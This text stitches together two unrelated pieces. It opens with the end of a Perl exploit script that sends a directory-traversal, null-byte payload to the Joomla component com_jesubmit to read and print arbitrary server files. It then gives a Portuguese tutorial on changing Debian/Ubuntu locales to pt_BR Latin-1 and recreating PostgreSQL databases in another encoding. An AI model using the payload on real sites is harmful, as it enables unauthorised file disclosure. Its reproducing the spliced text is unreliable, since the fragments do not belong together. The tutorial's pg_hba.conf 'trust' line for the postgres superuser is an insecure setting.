$req->content("option=com_jesubmit&view=".("/.."x10).$file."%00");

$request = $ua->request($req);
$result = $request->content;

$result =~ s/<[^>]*>//g;

print $result . "n";
exit;

Mudando encoding do Postgres para poder usar banco de dados latin1 ou outro e mudar o encoding do Ubuntu ou Debian

Standard

Algo simples que desejamos e a trabalheira grandiosa :(. O que queremos? Mudar o encoding default para Latin1 (se bem que o mundo hoje gira em torno de utf8), assim como mudar locales para PT_BR.

1 – Encoding do Sistema Operacional Debian/Ubuntu Ferrados (sim, você brasileiro e a droga do locale te mostrando coisas de americanos, pode uma coisa destas?)

2 – Mudar o Encoding do Postgres.

Vamos ao ataque

Antemão você precisa saber que o seu sistema foi configurado por algum bestão, isto mesmo, o cara instalou o sistema americano sendo brasileiro.

Ter um porstgres que não aceita nem a pau um encoding diferente (padrão dessa tosquisse sempre é UTF8).

Locale do Sistema

Mãos-a-Obra

Todas as configurações e comandos foram executados como usuário root.

Existem vários arquivos que fazem a configuração do locale, precisamos configurar todos eles e depois executar alguns comandos, vamos lá.

Edite o arquivo /etc/environment e altere os campos LANG e LANGUAGE de forma que fiquem iguais ao abaixo, se não existir, acrescente:

LANG="pt_BR"
LANGUAGE="pt_BR:pt:en"

O arquivo /etc/default/locale também deve ser editado e seu conteúdo deve ser:

LANG="pt_BR"
LANGUAGE="pt_BR:pt:en"

Execute o seguinte comando:

# echo "pt_BR pt_BR.ISO-8859-1" >> /etc/locale.alias

Este arquivo grava os aliases para os locales, isso é para facilitar as configurações.

No diretório /var/lib/locales/supported.d alguns arquivos que configuram os locales que serão gerados, por padrão existem três arquivos “en”, “pt” e “local”. Para nosso caso, pode apagar o “en” e o “pt” deixando apenas o “local”.

Feito isso, edite o arquivo local e deixe seu conteúdo como abaixo:

pt_BR.ISO-8859-1 ISO-8859-1
en_US.ISO-8859-1 ISO-8859-1

Muito bem, configuramos os arquivos necessários para a geração dos locales, agora vamos reconfigurar.

Os comandos abaixo fazem o serviço:

# localedef pt_BR -i pt_BR -f ISO-8859-1
# localedef pt_BR.ISO-8859-1 -i pt_BR -f ISO-8859-1
# localedef pt_BR.ISO8859-1 -i pt_BR -f ISO-8859-1
# dpkg-reconfigure locales
# locale-gen --purge
# locale-gen

###### SE HOUVER ERRO USE:
localedef pt_BR -i pt_BR -f UTF-8
localedef pt_BR -i pt_BR -f LATIN1

Acredito que apenas um desses três comandos fariam o serviço, mas como eu executei os três quando estava configurando o sistema não vou tirar algum deles, é melhor executar a mais e funcionar do que executar a menos e não funcionar.

Reinicie o sistema e execute o comando abaixo para termos certeza que está tudo conforme o desejado.

# locale
LANG=pt_BR
LANGUAGE=pt_BR:pt:en
LC_CTYPE="pt_BR"
LC_NUMERIC="pt_BR"
LC_TIME="pt_BR"
LC_COLLATE="pt_BR"
LC_MONETARY="pt_BR"
LC_MESSAGES="pt_BR"
LC_PAPER="pt_BR"
LC_NAME="pt_BR"
LC_ADDRESS="pt_BR"
LC_TELEPHONE="pt_BR"
LC_MEASUREMENT="pt_BR"
LC_IDENTIFICATION="pt_BR"
LC_ALL=

# locale -a
C
en_US.iso88591
POSIX
pt_BR.iso88591

Agora sim, está tudo como deveria estar. Nosso sistema já está usando ISO-8859-1.

(ISO-8859-1é LATIN1)

Corrigindo o Encoding do Postgres

Bem, esta é a hora do quebra-quebra, vamos lá:

1 – Crie uma nova instância (cluster) de gestão do Postgres:

sudo pg_createcluster -e LATIN1 -d /caminho/do/novoSGDB 8.3
cluster-8.3-2

Feito isto, a porta que o postgres vai operar neste novo SGDB será 5433

Criando SuperUser para administrar o Postgres

[root@appunixlabs:~] # su – postgres

[postgres@appunixlabs:~] $ createuser -P

Digite o nome da role a ser adicionada: pglinux
Digite a senha para a nova role:
Digite-a novamente:
A nova role poderá criar um super-usuário? (s/n) s
CREATE ROLE

Quer ver os users?

[postgres@appunixlabs:~] $ psql
postgres=# du
Lista de roles
Nome da role | Super-usuário | Cria role | Cria BD | Conexões  | Membro de
————–+—————+———–+———+———–+———–
pglinux       | sim                    | sim            | sim         | ilimitado    |
postgres         | sim                    | sim            | sim         | ilimitado    |
(2 registros)

postgres=# q

 

Obs: Se estiver usando Debian 4 mude o path para aceitar corretamente todas as mudanças

PATH=”/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games”

 

 

Caso seus locales estejam 100% ajustados antes mesmo deste How To você pode usar outros meios, uma vez criado um banco com uma encoding (LATIN1, SQL_ASCII, UTF8), só é possível mudá-lo fazendo um backup e recriando o banco. Embora a documentação do PostgreSQL informe sobre a opção -E no pg_dump, falta um “pulo do gato”, que é o que vai ser apresentado neste passo a passo.

1. Se for migração de servidor, altere o arquivo pg_hba.conf (geralmente em /etc/postgresql/8.x/main/pg_hba.conf) do servidor antigo para incluir a linha:

hostnossl all postgres ipnovoservidor/32 trust

2. Reinicie o PostgreSQL no servidor antigo:

# service postgresql-8.3 restart

3. Faça um “su” para o usuário postgres no servidor novo:

# su postgres

4. Gere o backup no servidor novo (se for o mesmo servidor, a opção h é desnecessária) . UTF8 é um exemplo de encoding, mas de qualquer forma é recomendado como padrão):

$ pg_dump -h hostanti -C -E UTF8 -U postgres bancodedados > bancodedados.sql

5. O pulo do gato: a opção -E do pg_dump gera o ARQUIVO no encoding desejado. Mas a opção -C (que copia a estrutura original), copia fielmente, a ponto de gerar a linha:

CREATE DATABASE foh WITH TEMPLATE = template0 ENCODING = ‘LATIN1’;

com o encoding original, o que gera erro na importação.

O MACETE É TROCAR O ENCODING PARA O CORRETO:

CREATE DATABASE foh WITH TEMPLATE = template0 ENCODING = ‘UTF8’;

Obs.: Se o arquivo for grande, o “mcedit” (que uso muito), não dá conta de abrir, mas o “joe” não reclama.

6. Agora é só rodar:

$ psql -f bancodedados.sql